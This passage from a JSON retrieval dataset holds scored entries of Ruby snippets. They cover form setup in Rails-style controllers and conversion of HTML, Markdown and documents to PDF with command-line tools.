copy_hash(@edit[:new])\n session[:edit] = @edit\n @in_a_form = true\n end", "title": "" }, { "docid": "163912cf5be0146a50d793fc184ec343", "score": "0.5556939", "text": "def initialize(context, form)\n self.context = context\n self.form = form\n self.url = CGI.unescapeHTML(form[\"action\"])\n self.inputs = []\n self.submits = []\n fill_in_initial_values!\n end", "title": "" }, { "docid": "82e3b860ef6d997f28325776f1cc570c", "score": "0.555512", "text": "def form_attributes\n []\n end", "title": "" }, { "docid": "82e3b860ef6d997f28325776f1cc570c", "score": "0.555512", "text": "def form_attributes\n []\n end", "title": "" }, { "docid": "a4ee70779eb01962ad56b30049c12003", "score": "0.5551658", "text": "def initialize(attributes) # has of name, model key/value pairs\n attributes.each do |key, value| # uses mass assignment to dynamically set object attributes\n self.send(\"#{key}=\", value)\n end\n save\n end", "title": "" }, { "docid": "51eff41d9602633128ee3c4d7b354410", "score": "0.55484617", "text": "def initialize c\n\t\t@cadena = c\n\tend", "title": "" }, { "docid": "4a234bcfd02eaf5bcd82602cddcc9a91", "score": "0.55454445", "text": "def category_set_new_form_vars\n @edit = {}\n @edit[:user] = @user\n @edit[:new] = {}\n @edit[:current] = {}\n @edit[:key] = \"category_edit__new\"\n @edit[:new][:name] = nil\n @edit[:new][:description] = nil\n @edit[:new][:show] = true\n @edit[:new][:perf_by_tag] = false\n @edit[:new][:default] = false\n @edit[:new][:single_value] = true\n @edit[:new][:example_text] = nil\n @edit[:current] = copy_hash(@edit[:new])\n session[:edit] = @edit\n end", "title": "" }, { "docid": "4a234bcfd02eaf5bcd82602cddcc9a91", "score": "0.55454445", "text": "def category_set_new_form_vars\n @edit = {}\n @edit[:user] = @user\n @edit[:new] = {}\n @edit[:current] = {}\n @edit[:key] = \"category_edit__new\"\n @edit[:new][:name] = nil\n @edit[:new][:description] = nil\n @edit[:new][:show] = true\n @edit[:new][:perf_by_tag] = false\n @edit[:new][:default] = false\n @edit[:new][:single_value] = true\n @edit[:new][:example_text] = nil\n @edit[:current] = copy_hash(@edit[:new])\n session[:edit] = @edit\n end", "title": "" }, { "docid": "c63add207b78922135c6032419b61e04", "score": "0.5542059", "text": "def new\n @crop=Crop.new \n \n end", "title": "" }, { "docid": "fcfe265effb715d6d4cd6ed96ea120d5", "score": "0.5541936", "text": "def after_initialize\n self.build_extra_fieldset unless self.extra_fieldset\n end", "title": "" }, { "docid": "af8f5020fd5e22783200fad9f028237b", "score": "0.55358714", "text": "def apply_props()\n @view.apply_props(props)\n\n @view.populate_popup_menu_block = proc { |menu:| populate_popup_menu(menu: menu) }\n\n set_model( props.key?(:model) ? props[:model] : default_model )\n end", "title": "" }, { "docid": "786b36df116ce1e0f36f04f3b77563ef", "score": "0.55318785", "text": "def set_form_vars\n @edit[:new][:name] = @record.name\n @edit[:new][:description] = @record.description\n @edit[:new][:long_description] = @record.long_description\n @edit[:new][:provision_cost] = @record.provision_cost\n @edit[:new][:display] = @record.display || false\n @edit[:new][:catalog_id] = @record.service_template_catalog.try(:id)\n @edit[:new][:dialog_id] = nil # initialize\n @edit[:new][:st_prov_type] ||= @record.prov_type\n @edit[:new][:generic_subtype] = @record.generic_subtype || \"custom\" if @edit[:new][:st_prov_type] == 'generic'\n @edit[:new][:tenant_ids] = @record.additional_tenant_ids\n @tenants_tree = build_tenants_tree # Build the tree with available tenants\n @available_catalogs = available_catalogs.sort # Get available catalogs with tenants and ancestors\n @additional_tenants = @edit[:new][:tenant_ids].map(&:to_s) # Get ids of selected Additional Tenants in the Tenants tree\n available_orchestration_templates if @record.kind_of?(ServiceTemplateOrchestration)\n available_ansible_tower_managers if @record.kind_of?(ServiceTemplateAnsibleTower) || @record.kind_of?(ServiceTemplateAwx)\n available_container_managers if @record.kind_of?(ServiceTemplateContainerTemplate)\n fetch_zones\n @edit[:new][:zone_id] = @record.zone_id\n\n @edit[:new][:currency] = @record.currency ? @record.currency.id : nil\n @edit[:new][:code_currency] = @record.currency ? code_currency_label(@record.currency.id) : _(\"Price / Month\")\n @edit[:new][:price] = @record.price\n\n # initialize entry_point fields and its type to nil\n ENTRY_POINT_TYPES.each do |key, _prefix|\n fields = entry_point_fields(key)\n @edit[:new][key] = @edit[:new][fields[:type]] = @edit[:new][fields[:configuration_script_id]] = nil\n @edit[:new][fields[:previous]] = {:embedded_automate => nil, :embedded_workflow => nil}\n @edit[:new][fields[:type]] = default_entry_point_type\n end\n\n @record.resource_actions.each do |ra|\n @edit[:new][:dialog_id] = ra.dialog_id.to_i\n\n # To display the automation_type and its entry point values in edit page.\n entry_point = resource_action_entry_point(ra)\n\n if ra.action.downcase == 'provision'\n @edit[:new][:fqname] = entry_point[:name]\n @edit[:new][:provision_entry_point_type] = entry_point[:type]\n @edit[:new][:provision_configuration_script_id] = entry_point[:configuration_script_id]\n elsif ra.action.downcase == 'reconfigure'\n @edit[:new][:reconfigure_fqname] = entry_point[:name]\n @edit[:new][:reconfigure_entry_point_type] = entry_point[:type]\n @edit[:new][:reconfigure_configuration_script_id] = entry_point[:configuration_script_id]\n elsif ra.action.downcase == 'retirement'\n @edit[:new][:retire_fqname] = entry_point[:name]\n @edit[:new][:retire_entry_point_type] = entry_point[:type]\n @edit[:new][:retire_configuration_script_id] = entry_point[:configuration_script_id]\n end\n end\n load_available_dialogs\n @right_cell_text = if @record.id.blank?\n _(\"Adding a new Service Catalog Item\")\n else\n _(\"Editing Service Catalog Item \\\"%{name}\\\"\") % {:name => @record.name}\n end\n build_automate_tree(:automate_catalog) # Build Catalog Items tree\n form_available_vars_ovf_template if @record.kind_of?(ManageIQ::Providers::Vmware::InfraManager::OvfServiceTemplate)\n end", "title": "" }, { "docid": "ac5aef2e911fd87797e6442e59e7fe3c", "score": "0.55260575", "text": "def initialize(model)\n\t\t\t@model = model\n\t\tend", "title": "" }, { "docid": "7aaf2e90c5c98f58f0b964cf1bdd233d", "score": "0.5514137", "text": "def set_form\n @form = SampleForm.build(params.merge(get_form))\n end", "title": "" }, { "docid": "df41f5e850dcc28e074d094283271096", "score": "0.55114555", "text": "def initialize(form_params)\n work = Work.new.tap { |w| w.readonly! }.tap { |w| w.assign_attributes(form_params) }\n\n super(work)\n end", "title": "" }, { "docid": "db68b9311b9bb3e079dd2c32a2075e61", "score": "0.5509156", "text": "def populate_fields; end", "title": "" }, { "docid": "907e5e8ba526c6533509e07600de1028", "score": "0.55090827", "text": "def initialize (attributes={})\n super \n end", "title": "" }, { "docid": "ebf83bc4b7f5739c112bd39b7e891be6", "score": "0.55077475", "text": "def set_clinic_cr_form\n @clinic_cr_form = ClinicCrForm.find(params[:id])\n end", "title": "" }, { "docid": "ebf83bc4b7f5739c112bd39b7e891be6", "score": "0.55077475", "text": "def set_clinic_cr_form\n @clinic_cr_form = ClinicCrForm.find(params[:id])\n end", "title": "" }, { "docid": "032bff6c6e724c719e3c49ba5b37137f", "score": "0.5501146", "text": "def get_initial_state\r\n {\r\n form_model: Appointment.new(date_part: props.date.format(\"YYYY-MM-DD\"),\r\n appointment_detail: {appointment_detail: {}}\r\n ),\r\n doctor_id_holder: Model.new()\r\n }\r\n end", "title": "" }, { "docid": "b6bd53905b52cb3aaf649e86f5688f4f", "score": "0.5497074", "text": "def set_course_fields(_course)\n @course.name = params[:course][:name]\n @course.institutions_id = params[:course][:institutions_id]\n @course.directory_path = params[:course][:directory_path]\n @course.info = params[:course][:info]\n @course.private = params[:course][:private].nil? ? 0 : params[:course][:private]\n @course.locale = params[:course][:locale]\n end", "title": "" }, { "docid": "f47fd22c37bd204464a5afe88558b482", "score": "0.5496827", "text": "def ___init_form(cdb)\n cdb[:group].each do |gid, gat|\n sg = @disp_dic.add_grp(gid, gat[:caption], nil, gat[:rank])\n ___init_member(cdb, gat[:members], sg)\n ___init_unit(cdb, gat[:units], sg)\n end\n self\n end", "title": "" }, { "docid": "793b0cd50d331b3fe80f61f290a02b8e", "score": "0.5496776", "text": "def new\n # TODO prepare the form if necessary\n\n\n\n end", "title": "" }, { "docid": "3428aa2ab2064c86c56b8b5e4691e9b9", "score": "0.549279", "text": "def initialize_attributes(attributes); end", "title": "" }, { "docid": "5fef068d5f7922473da1bc3020cdb221", "score": "0.54849374", "text": "def set_form_input(args)\n set_types_collection(args)\n set_circles_collection\n set_form_values\n end", "title": "" }, { "docid": "1415d4a21f83a2dace424b4a23cf8266", "score": "0.54826945", "text": "def baseForm\n\t@baseForm ||=BaseForm.new\nend", "title": "" }, { "docid": "1415d4a21f83a2dace424b4a23cf8266", "score": "0.54826945", "text": "def baseForm\n\t@baseForm ||=BaseForm.new\nend", "title": "" }, { "docid": "6202aee254ea117ff0e39be3778aab0a", "score": "0.5481823", "text": "def form_setup\n\tend", "title": "" }, { "docid": "d3a3d9784cc9f46ece70d28eb5c3beec", "score": "0.54745567", "text": "def initialize form = nil, config={}, &block\n @focusable = true\n @editable = true\n @row = 0\n @col = 0\n @curpos = 0\n @list = []\n @suppress_borders = false\n @row_offset = @col_offset = 1 # for cursor display on first entry, so not positioned on border\n @_events ||= [] \n @_events.push :CHANGE\n super\n @orig_col = @col\n # this does result in a blank line if we insert after creating. That's required at \n # present if we wish to only insert\n if @list.empty?\n # @list << \"\\r\" # removed this on 2009-02-15 17:25 lets see how it goes\n end\n @content_rows = @list.length\n @win = @graphic # 2009-12-26 14:54 BUFFERED replace form.window with graphic\n # 2010-01-10 19:35 compute locally if not set\n install_keys\n init_vars\n bordertitle_init\n init_actions\n end", "title": "" }, { "docid": "017c5c20ce475702a99c4ae47e9c0671", "score": "0.5470726", "text": "def new\n @cobertura = Cobertura.new\n @plaza = current_user.plaza\n super\n end", "title": "" }, { "docid": "f19ec9255820ce8cc462ed2096d11e2d", "score": "0.54675245", "text": "def construct_data\n add_properties(:association => @name)\n add_properties(:parent => parent)\n add_properties(@adv_settings, :if_missing)\n add_properties(@shared_properties, :if_missing)\n\n send(@name.to_sym) if @name.respond_to?(:to_sym) && respond_to?(@name.to_sym)\n yield(self) if block_given?\n\n if @properties[:model_class].nil? && !(@options[:without_model_class])\n add_properties(:model_class => auto_model_class)\n end\n end", "title": "" }, { "docid": "c620edd20dcf808cecdeb85add17ae2f", "score": "0.5464682", "text": "def get_form_vars\n @ae_class = MiqAeClass.find_by(:id => @edit[:ae_class_id])\n # for class add tab\n @edit[:new][:name] = params[:name].presence if params[:name]\n @edit[:new][:description] = params[:description].presence if params[:description]\n @edit[:new][:display_name] = params[:display_name].presence if params[:display_name]\n @edit[:new][:namespace] = params[:namespace] if params[:namespace]\n @edit[:new][:inherits] = params[:inherits_from] if params[:inherits_from]\n\n # for class edit tab\n @edit[:new][:name] = params[:cls_name].presence if params[:cls_name]\n @edit[:new][:description] = params[:cls_description].presence if params[:cls_description]\n @edit[:new][:display_name] = params[:cls_display_name].presence if params[:cls_display_name]\n @edit[:new][:namespace] = params[:cls_namespace] if params[:cls_namespace]\n @edit[:new][:inherits] = params[:cls_inherits_from] if params[:cls_inherits_from]\n end", "title": "" }, { "docid": "286c9bac2c225374732b4530a797d8b0", "score": "0.5464388", "text": "def init_forms\n super\n\n ### DATE AND TIME ###\n fo = @fw.add_form(\"datetime\")\n fo.required_notice = false\n\n fi = fo.add_field(\"datetime\", \"datetime\", { \"required\" => true })\n \n @tm = Time.new\n @timezones = [[\"UTC/GMT\", \"Etc/UTC\"]]\n tzs = `cat /usr/share/zoneinfo/zone.tab | grep -v ^# | cut -f 3 | sort`.split(\"\\n\")\n @timezones += tzs.zip(tzs)\n @fw.forms[\"datetime\"].fields[\"datetime\"].value = \n { \"year\" => @tm.year, \"month\" => @tm.month, \"day\" => @tm.day,\n \"hour\" => @tm.hour, \"min\" => @tm.min, \"sec\" => @tm.sec,\n \"timezone\" => `cat /etc/timezone`.strip }\n end", "title": "" }, { "docid": "0a9acaaa6140aa91d0ebb5c6cd37195d", "score": "0.54597753", "text": "def form_fields\n @form_fields ||= RademadeAdmin::Model::Configuration::FormFields.new\n end", "title": "" }, { "docid": "a217dfdedfcc93a1830dd49309530f7b", "score": "0.5452699", "text": "def initialize(p_form, p_parent)\n\t\t\t@form = p_form\n\t\t\t@parent = p_parent\n super(p_parent)\n\n # Initialize timer\n initialize_timer\n\n # Initialize attributes\n @self_destruct_callback = nil\n\t\t\t\n\t\t\t# Initialize notification types\n\t\t\t@@notification_types = Colors.notification_types\n\t\t\t\n\t\t\t# Initialize resource paths\n\t\t\tresource_path = \":/root/images/notify\"\n\t\t\t@@notification_icons = {\n\t\t\t\t:ok => \"#{resource_path}/tick-circle-frame.png\",\n\t\t\t\t:info => \"#{resource_path}/information-frame.png\",\n\t\t\t\t:warn => \"#{resource_path}/exclamation--frame.png\",\n\t\t\t\t:error => \"#{resource_path}/cross-circle-frame.png\"\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "77087ae93b239acdebaa5642851526c1", "score": "0.5448046", "text": "def set_baciloscopia_form\n @baciloscopia_form = BaciloscopiaForm.find(params[:id])\n end", "title": "" } ]
1851f8f9f92b85e5c183f1753e8e5df6
Converts an inmemory html document. content a string containing an html document outstream an object having method 'write(data)'; if nil then the return value is a string containing the PDF.
[ { "docid": "12fcb109589a4b712906e0ce74648330", "score": "0.7405853", "text": "def convertHtml(content, outstream=nil)\n return call_api_urlencoded('/api/pdf/convert/html/', content, outstream)\n end", "title": "" } ]
[ { "docid": "d125e5a91c113e47e2f75fb89a7022a7", "score": "0.61395174", "text": "def convert_to_document() \n Nokogiri::HTML.parse(convert())\n end", "title": "" }, { "docid": "096092124a424c19a4b8a154bc092e59", "score": "0.6136054", "text": "def write_xhtml_to(io, options = T.unsafe(nil)); end", "title": "" }, { "docid": "096092124a424c19a4b8a154bc092e59", "score": "0.6136054", "text": "def write_xhtml_to(io, options = T.unsafe(nil)); end", "title": "" }, { "docid": "2bb227809011627732ac28b16307e101", "score": "0.6129929", "text": "def pdf_to_html(url)\n\tend", "title": "" }, { "docid": "e2fd07a383dc9d768ff377f7e0fd62f4", "score": "0.61219466", "text": "def generate_html_and_make_pdf(folder, html_content, html_name, pdf_name, pdf_options)\n generate_html(folder, html_content, html_name)\n convert_html_to_pdf(folder, html_name, pdf_name, pdf_options)\n end", "title": "" }, { "docid": "7877f40468c7ecdbac0e4e6abb4ee782", "score": "0.60237026", "text": "def to_pdf\n to_html\n end", "title": "" }, { "docid": "eb811492b4f74b08fb38e0a4634f30a8", "score": "0.6008463", "text": "def to_pdf_data; end", "title": "" }, { "docid": "2ee7c7b3b15b1cbf404d511fb076fcf4", "score": "0.5953665", "text": "def write_html_to(io, options = T.unsafe(nil)); end", "title": "" }, { "docid": "2ee7c7b3b15b1cbf404d511fb076fcf4", "score": "0.5953665", "text": "def write_html_to(io, options = T.unsafe(nil)); end", "title": "" }, { "docid": "22e733968e677bfc7ca06a223fce6b40", "score": "0.5946124", "text": "def convertStringToStream(text, out_stream)\n if (!(!text.nil? && !text.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(text, \"convertStringToStream::text\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_string_to_stream\"), 470);\n end\n \n @fields['text'] = text\n @helper.post(@fields, @files, @raw_data, out_stream)\n end", "title": "" }, { "docid": "0c31af03a42c07f41562a0f21efeb7a0", "score": "0.59171593", "text": "def convert_document_html_to_pdf(input_file, opts = {})\n data, _status_code, _headers = convert_document_html_to_pdf_with_http_info(input_file, opts)\n data\n end", "title": "" }, { "docid": "e0b21fd3ca05e827ad3cf2bcc36bb5e6", "score": "0.5900653", "text": "def to_html(content)\n case @parser\n when :kramdown, 'kramdown'\n require 'kramdown'\n Kramdown::Document.new(content).to_html\n when :redcarpet, 'redcarpet'\n require 'redcarpet'\n markdown = Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n smart: true,\n no_intra_emphasis: true,\n fenced_code_blocks: true,\n autolink: true,\n tables: true,\n with_toc_data: true\n )\n\n # add smartypants support\n Redcarpet::Render::SmartyPants.render markdown.render(content)\n when :rdiscount, 'rdiscount'\n require 'rdiscount'\n RDiscount.new(content).to_html\n when :gfm, :github, :github_markdown, 'gfm', 'github_markdown'\n require 'github/markdown'\n GitHub::Markdown.render(content)\n end\n end", "title": "" }, { "docid": "65c74559a291e44c807b691c14b6ac73", "score": "0.58357155", "text": "def pdf(html)\n WickedPdf.new.pdf_from_string(html,\n margin: {:top => 0, :bottom => 0, :left => 0, :right => 0})\n end", "title": "" }, { "docid": "c4f411f24c05ed9a49a5beadd92f2830", "score": "0.57525134", "text": "def to_pdf\n begin \n fo = StringIO.new(to_fo).to_inputstream\n fopfac = FopFactory.newInstance\n fopfac.setBaseURL( File.join(ASUtils.find_base_directory, 'stylesheets') ) \n fop = fopfac.newFop(MimeConstants::MIME_PDF, @output.to_outputstream) \n transformer = TransformerFactory.newInstance.newTransformer()\n res = SAXResult.new(fop.getDefaultHandler)\n transformer.transform(StreamSource.new(fo), res)\n ensure\n @output.close\n end\n @output \n end", "title": "" }, { "docid": "662e7264be743d61885fe519fcf9ab35", "score": "0.5744787", "text": "def html_to_markdown(content,user)\n filenumber = user.id\n filename = filenumber.to_s+\".html\"\n %x[\"touch #{filename}\"]\n File.atomic_write(\"tmp/#{filename}\") do |file|\n file.write(content)\n end\n html_content = `pandoc -f html -t markdown \"tmp/#{filename}\"`\n File.delete(\"tmp/#{filename}\")\n return html_content\n end", "title": "" }, { "docid": "0566bf1bb95d6c100e872e526eb551b7", "score": "0.57425046", "text": "def pdfout(content, file: 'output.pdf', width: 7, height: 7)\n \"\"\"\n pdf('#{file}', width=#{width}, height=#{height})\n #{content}\n dev.off()\n \"\"\"\nend", "title": "" }, { "docid": "2fca5658a057f91c10cb74d3e83bae9f", "score": "0.5727425", "text": "def convert_markdown\n self.html_content = Raptor::Markdown.render(self.content)\n end", "title": "" }, { "docid": "23187f48a43b4c026325d481677d59bc", "score": "0.5716953", "text": "def to_s\n if is_xhtml?\n @doc.to_xhtml(:encoding => nil)\n else\n @doc.to_html(:encoding => nil)\n end\n end", "title": "" }, { "docid": "8e97a304ba44c44a860b6104277300bf", "score": "0.5692966", "text": "def convert_to_pdf!\n if content_type == 'application/pdf'\n return stamp_pdf!\n else\n command = \"export LD_LIBRARY_PATH=/opt/openoffice.org2.4_sdk/linux/lib:/opt/openoffice.org2.4/program/; #{RAILS_ROOT}/lib/pdfconvert/convert.php #{self.versions[:original].path} \\\"\\\" #{self.versions[:pdf].path}\"\n RAILS_DEFAULT_LOGGER.info { \"--Converting file to pdf:\\n Command: #{command}\" }\n result = `#{command}`\n RAILS_DEFAULT_LOGGER.info { \"#{result}\" }\n RAILS_DEFAULT_LOGGER.info { \" --> Result: #{$?}\" }\n out = $?\n\n if result.to_s.include?(\"couldn't connect to socket\") || result.to_s.include?(\"error\") || !out.success?\n Thread.current['pdf_conversion_error'] = \"Could not convert document to PDF: #{result.to_s}\"\n else\n Thread.current['pdf_conversion_error'] = nil\n end\n \n stamp_pdf! if out.success?\n return out\n end\n end", "title": "" }, { "docid": "7c70bac95b2ad999e16cc9e441e6e310", "score": "0.5686052", "text": "def save_pdf_file(pdf_content)\n File.open('data/test-generated/pdf/test.pdf', 'wb') { |file| file.puts(pdf_content) }\nend", "title": "" }, { "docid": "8627057cf12b22587303b38c2bf461c2", "score": "0.56802726", "text": "def make_html\n @document.encoding = 'UTF-8'\n @best_candidate = nil\n end", "title": "" }, { "docid": "55dbf6be200fce73be520c58db2dae83", "score": "0.5668956", "text": "def convertStreamToFile(in_stream, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStreamToFile::file_path\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_stream_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStreamToStream(in_stream, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end", "title": "" }, { "docid": "45f2530f399c6b7686b2298def3d40fc", "score": "0.5663423", "text": "def convertStringToFile(text, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStringToFile::file_path\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_string_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStringToStream(text, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end", "title": "" }, { "docid": "85a6fcecf137b35a8dab107d0e7ecac8", "score": "0.5656299", "text": "def pdf_to_text\n page.driver.instance_variable_set('@body', pdf_string_to_text_string(page.body) )\n end", "title": "" }, { "docid": "94bacd23ab28f279bd0b29a97bb3e6c6", "score": "0.56223786", "text": "def make_pdf(options = {}, main_body)\n w = Wkhtmltopdf.new(WickedPdf.config, options[:wkhtmltopdf])\n @content = w.pdf_from_string(main_body, options)\n end", "title": "" }, { "docid": "005b8ae207c2b5bca855ec5d40105cb9", "score": "0.5609736", "text": "def pdf_content\n @pdf_content ||= PdfContent.new(current_url)\n end", "title": "" }, { "docid": "2a8f8371d4c3ea60dd5412986c378fd5", "score": "0.55765116", "text": "def convert()\n errors = \"\"\n output = \"\"\n \n if @user_pwd \n cmd = \"pdftohtml -stdout #{@format} -upw #{@user_pwd}\" + ' \"' + @path + '\"' \n elsif @owner_pwd \n cmd = \"pdftohtml -stdout #{@format} -opw #{@owner_pwd}\" + ' \"' + @path + '\"'\n else\n cmd = \"pdftohtml -enc 'UTF-8' -stdout\" + ' \"' + @path + '\" \"' + @target + '\"'\n end\n \n output = `#{cmd} 2>&1`\n\n if (output.include?(\"Error: May not be a PDF file\"))\n raise PDFToHTMLRError, \"Error: May not be a PDF file (continuing anyway)\"\n elsif (output.include?(\"Error:\"))\n raise PDFToHTMLRError, output.split(\"\\n\").first.to_s.chomp\n else\n return output\n end\n end", "title": "" }, { "docid": "a06c86caddae5e9e1f892b80f3002aa0", "score": "0.55562633", "text": "def to_html\n case content_type\n when 'text/html'\n content\n when 'text/rtf'\n MessageProcessor.make_html_from_rtf(content)\n when 'text/plain'\n if content.starts_with?(\"{\\\\rtf\")\n MessageProcessor.make_html_from_rtf(content)\n else\n #MessageProcessor.make_html_from_text(content)\n content\n end\n when 'application/x-pit'\n c = content.scan(/^301 (.*)$/).join(\"\\n\")\n if c.starts_with? \"{\\\\rtf\"\n # it's rtf inside PIT\n MessageProcessor.make_html_from_rtf(c)\n else\n MessageProcessor.make_html_from_text(c)\n end\n when 'text/x-clinical'\n c = MessageProcessor.make_html_from_text(content).gsub(/\\*(\\w+)\\*/,\"<b>\\\\1</b>\")\n c.gsub(/\\{([^\\{]+)\\}/) do |str|\n obj = Code.get_clinical_object($1,self)\n if obj\n obj.to_html\n else\n str\n end\n end\n else\n MessageProcessor.make_html_from_text(content)\n end\n \n end", "title": "" }, { "docid": "738a5166f83c90a7fdda6cba9ddfa973", "score": "0.55551815", "text": "def create_pdf\n File.open(@path, 'wb') do |file|\n file << rendered_pdf\n end\n end", "title": "" }, { "docid": "2894f1ed5a1243ae9c75c5a51ddd4169", "score": "0.55496967", "text": "def render\n generate_content\n @pdf.render\n end", "title": "" }, { "docid": "1f29be8b6982cf17cb99d7db61ed0043", "score": "0.55366325", "text": "def convertStringToStream(text, out_stream)\n if (!(!text.nil? && !text.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(text, \"convertStringToStream::text\", \"html-to-image\", \"The string must not be empty.\", \"convert_string_to_stream\"), 470);\n end\n \n @fields['text'] = text\n @helper.post(@fields, @files, @raw_data, out_stream)\n end", "title": "" }, { "docid": "791d37d87736e93e8fd766ed9fdd4d56", "score": "0.5533402", "text": "def convertToFile(file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertToFile\", \"pdf-to-pdf\", \"The string must not be empty.\", \"convert_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n convertToStream(output_file)\n output_file.close()\n end", "title": "" }, { "docid": "5d6fd3c233e15873ff3697b516054fec", "score": "0.5532485", "text": "def body_as_html(dir)\n html = nil\n\n Dir.chdir(dir) do\n tempfile = Tempfile.new('foiextract', '.')\n tempfile.print self.body\n tempfile.flush\n\n if self.content_type == 'application/vnd.ms-word'\n # XXX do something with PNG files this spits out so they view too :)\n system(\"/usr/bin/wvHtml --charset=UTF-8 \" + tempfile.path + \" \" + tempfile.path + \".html\")\n html = File.read(tempfile.path + \".html\")\n File.unlink(tempfile.path + \".html\")\n elsif self.content_type == 'application/pdf'\n IO.popen(\"/usr/bin/pdftohtml -nodrm -zoom 1.0 -stdout -enc UTF-8 -noframes \" + tempfile.path + \"\", \"r\") do |child|\n html = child.read()\n end\n else\n raise \"No HTML conversion available for type \" + self.content_type\n end\n\n tempfile.close\n tempfile.delete\n end\n\n # We need to look at:\n # a) Any error code\n # b) The output size, as pdftohtml does not return an error code upon error.\n # c) For cases when there is no text in the body of the HTML, or\n # images, so nothing will be rendered. This is to detect some bug in\n # pdftohtml, which sometimes makes it return just <hr>s and no other\n # content.\n html.match(/(\\<body[^>]*\\>.*)/mi)\n body = $1.to_s\n body_without_tags = body.gsub(/\\s+/,\"\").gsub(/\\<[^\\>]*\\>/, \"\")\n contains_images = html.match(/<img/mi) ? true : false\n if !$?.success? || html.size == 0 || (body_without_tags.size == 0 && !contains_images)\n return \"<html><head></head><body><p>Sorry, the conversion to HTML failed. Please use the download link at the top right.</p></body></html>\"\n end\n\n return html\n end", "title": "" }, { "docid": "00d35a4edaa6529afcad31b117de0dee", "score": "0.5524286", "text": "def convert_document_to_html path\n system(\"unoconv\",\"-f\",\"html\", path)\n exit_status = $?.to_i\n if exit_status == 0\n conv_path = replace_extension(path, 'html')\n content = File.read(conv_path)\n File.delete(conv_path)\n content\n else\n logger.info \"Unoconv failed, filetype: #{get_mime_type(path)}\"\n []\n end\n end", "title": "" }, { "docid": "c3ef96d85e86ee6f01a156402f210600", "score": "0.55154157", "text": "def convert_html_to_pdf\n cmd = convert_html_to_pdf_command\n Rails.logger.info(\"Converting HTML to PDF\")\n Rails.logger.info(cmd)\n `#{cmd}`\n Rails.logger.info(\"Converted HTML to PDF\")\n end", "title": "" }, { "docid": "cefffb667d61894770eb1a78a2c4f4e7", "score": "0.55057585", "text": "def convertStreamToFile(in_stream, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStreamToFile::file_path\", \"pdf-to-html\", \"The string must not be empty.\", \"convert_stream_to_file\"), 470);\n end\n \n if (!(isOutputTypeValid(file_path)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStreamToFile::file_path\", \"pdf-to-html\", \"The converter generates an HTML or ZIP file. If ZIP file is generated, the file path must have a ZIP or zip extension.\", \"convert_stream_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStreamToStream(in_stream, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end", "title": "" }, { "docid": "4f132b119a9d21d4c39cc2cb881a516c", "score": "0.5483002", "text": "def load_html(input) # :nodoc:\n thing = nil\n\n # TODO: duplicate options\n if @options[:with_html_string] or @options[:inline] or input.respond_to?(:read)\n thing = input\n elsif @is_local_file\n @base_dir = File.dirname(input)\n thing = File.open(input, 'r')\n else\n thing = open(input)\n end\n\n if thing.respond_to?(:read)\n thing = thing.read\n end\n\n return nil unless thing\n doc = nil\n\n # Handle HTML entities\n if @options[:replace_html_entities] == true and thing.is_a?(String)\n HTML_ENTITIES.map do |entity, replacement|\n thing.gsub! entity, replacement\n end\n end\n # Default encoding is ASCII-8BIT (binary) per http://groups.google.com/group/nokogiri-talk/msg/0b81ef0dc180dc74\n # However, we really don't want to hardcode this. ASCII-8BIG should be the default, but not the only option.\n if thing.is_a?(String) and RUBY_VERSION =~ /1.9/\n thing = thing.force_encoding(@options[:input_encoding]).encode!\n doc = ::Nokogiri::HTML(thing, nil, @options[:input_encoding]) {|c| c.recover }\n else\n default_encoding = RUBY_PLATFORM == 'java' ? nil : 'BINARY'\n doc = ::Nokogiri::HTML(thing, nil, @options[:input_encoding] || default_encoding) {|c| c.recover }\n end\n\n # Fix for removing any CDATA tags from both style and script tags inserted per\n # https://github.com/sparklemotion/nokogiri/issues/311 and\n # https://github.com/premailer/premailer/issues/199\n %w(style script).each do |tag|\n doc.search(tag).children.each do |child|\n child.swap(child.text()) if child.cdata?\n end\n end\n\n doc\n end", "title": "" }, { "docid": "c60a4ed86acd39c4df7aef87c52de404", "score": "0.5460531", "text": "def to_pdf\n\t\trequire 'erb'\n\t\trequire 'fileutils'\n @self = self\n template = ERB.new(LatexTemplate.where(model: self.class.to_s).first.template)\n directory = \"#{Rails.root}/tmp/pdf/#{self.class.to_s}/\"\n\t\tif not File.directory? directory\n\t\t\tFileUtils.mkpath(directory)\n\t\tend\n\t\tfile = \"#{directory}/#{self.id}.tex\"\n\t\tFile.open(file, 'w') do |f|\n # TODO: this is a potential security hole. But as we trust the user anyways, we don't give too much of a sh***\n\t\t\tf.write(template.result(binding))\n\t\tend\n\t\tIO.popen(\"pdflatex -output-directory #{directory} #{file}\") do |handle|\n\t\t\tpdflatex_output = handle.read\n\t\tend\n\t\tif $? == 0\n\t\t\treturn File.read(\"#{directory}/#{self.id}.pdf\")\n\t\telse\n\t\t\tlogger.error(pdflatex_output)\n return nil\n\t\tend\n end", "title": "" }, { "docid": "26598e98724981ac2a0be732663d3cd3", "score": "0.5456021", "text": "def convert_pdf_to_html file\n PDFToHTMLR::PdfFilePath.new(file).convert.force_encoding(\"UTF-8\")\n end", "title": "" }, { "docid": "5f4b3478adcc340b880cab5e798871bd", "score": "0.544358", "text": "def 